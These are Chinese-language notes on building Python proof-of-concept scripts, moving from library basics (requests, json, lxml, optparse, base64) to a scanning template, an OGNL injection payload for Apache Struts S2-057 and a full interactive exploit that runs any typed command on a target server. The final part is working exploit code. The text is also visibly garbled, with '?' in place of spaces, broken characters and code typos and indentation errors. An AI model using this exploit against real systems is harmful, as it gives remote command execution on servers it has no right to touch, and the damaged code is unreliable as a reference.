urllib.request?——?打開和讀取url
urllib.error ——?包含 urllib.request 拋出的異常。
urllib.parse ——?解析 URL。

requests.get(url,headers,data,verify=False,proxies=proxy,timeout=10)
url?——?請求的url
headers?——?請求時構造的請求頭
data?——?請求時帶入的數據
verify?——?取消https告警
proxies?——?代理設置
timeout?——?請求響應超時處理

兩種方法
json.dumps?? 將?Python?對象編碼成?JSON?字符串?
json.loads???將已編碼的?JSON?字符串解碼為?Python?對象?

lxml?定位元素節(jié)點涉及到Xpath語法

from?lxml?import?etree
html?=?etree.HTML(response.text)
result?=?html.xpath('xpath語句')
print(result)

parser?=?optparse.OptionParser()???#?導入OptionParser對象后才可以使用add_option
parse.add_option('-u','--user',dest='user',action='store',type=str,metavar='user',help='Enter?User?Name!!')????#?添加需要的參數和內容
parse.set_defaults(v=1.2)??#也可以這樣設置默認值??
options,args=parse.parse_args()?

base64.b64encode()?——?編碼函數
base64.b64decode()?——?解碼函數

from?multiprocessing?import?Process
def?Poc():
xxxx
....

if?__name?==?'__main__':
????for?i?in?rangge(5):
????????thread?=?Process(target=Poc,args=str(i))
????????thread.start()
????Thread.join()

import?requests
import?re
from?requests.packages.urllib3.exceptions?import?InsecureRequestWarning
def?Poc(url):
target_url?=?url?+?'payload'?#驗證存在漏洞的url
#?代理池設置
proxy?=?{
????????'http':'127.0.0.1:812',
????????'http':'127.0.0.1:8123'
????}
#?請求頭部分構造
????headers?=?{
????????'User-Agent':'Mozilla/5.0?(Windows?NT?10.0;?Win64;?x64)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/92.0.4515.107?Safari/537.36',???#模擬瀏覽器請求
????????'cookie':'xxxxxxxxxxxxxx',???#有些請求需要帶上cookie才可以請求到想要的內容
????????'Connection':'close'???#關閉多余的連接請求
????}
????data?=?{'name':'xxxx','value':'xxxx'}???#向url中帶入請求的數據
????#?使用try?except對異常進行處理
????try:
????????requests.packages.urllib3.disable_warnings(InsecureRequestWarning)????#取消SSL驗證告警
????????response?=?requests.get(url=target_url,headers=headers,data=data,verify=False,proxies=proxy,timeout=10)???#請求漏洞的url
????????if?response.status_code?==?200:
????????????result?=?re.search(r'_____',response.text,re.I)????#使用正則匹配頁面請求，下劃線處填寫正則規(guī)則
????????????print('正在獲取結果：{}'.format(result.group(1)))
????????else:
????????????print('請求失?。簕}'.format(response.status_code))
????except?Exception?as?e:
????????print('請求失敗:?{}'.format(e))
if?__name__?==?'__main__':
????url?=?str(input('請輸入檢測的url：'))
????Poc(url)

Poc（exp）：${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

import?requests?
import?sys?
def?title():
????print('+------------------------------------------')
????print('Version：Struts S2-057 ????????????????????')
????print('author：Tackrio ???????????????????????????')
????print('use：exploit.py url ???????????????????????')
????print('+------------------------------------------')
def?Poc(url):
????try:
????????while?True:
????????????cmd?=?input('$')
????????????payload_command?=?'/struts2/%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27'+cmd+'%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action'?
????????????payload_test?=?'/struts2-showcase/$%7B1+1%7D/actionChain1.action'
????????????response_test?=?requests.get(url=url?+?payload_test,allow_redirects=False,verify=False,timeout=6)
????????????content?=?response_test.headers.get('Location').split('/')[2]
????????????if?cmd?==?'exit':
????????????????exit()
????????????if?response_test.status_code?==?302?and?content?==?'2':
????????????????url1?=?url?+?payload_command
????????????????response?=?requests.get(url=url1,allow_redirects=False,verify=False,timeout=6)
????????????????print(response.headers.get('Location').split('/')[2])
????except?requests.ConnectionError?as?error:
????????print("請求出錯：",error)
if?__name__?==?"__main__":
????title()
????args?=?sys.argv[1]
????Poc(url=args)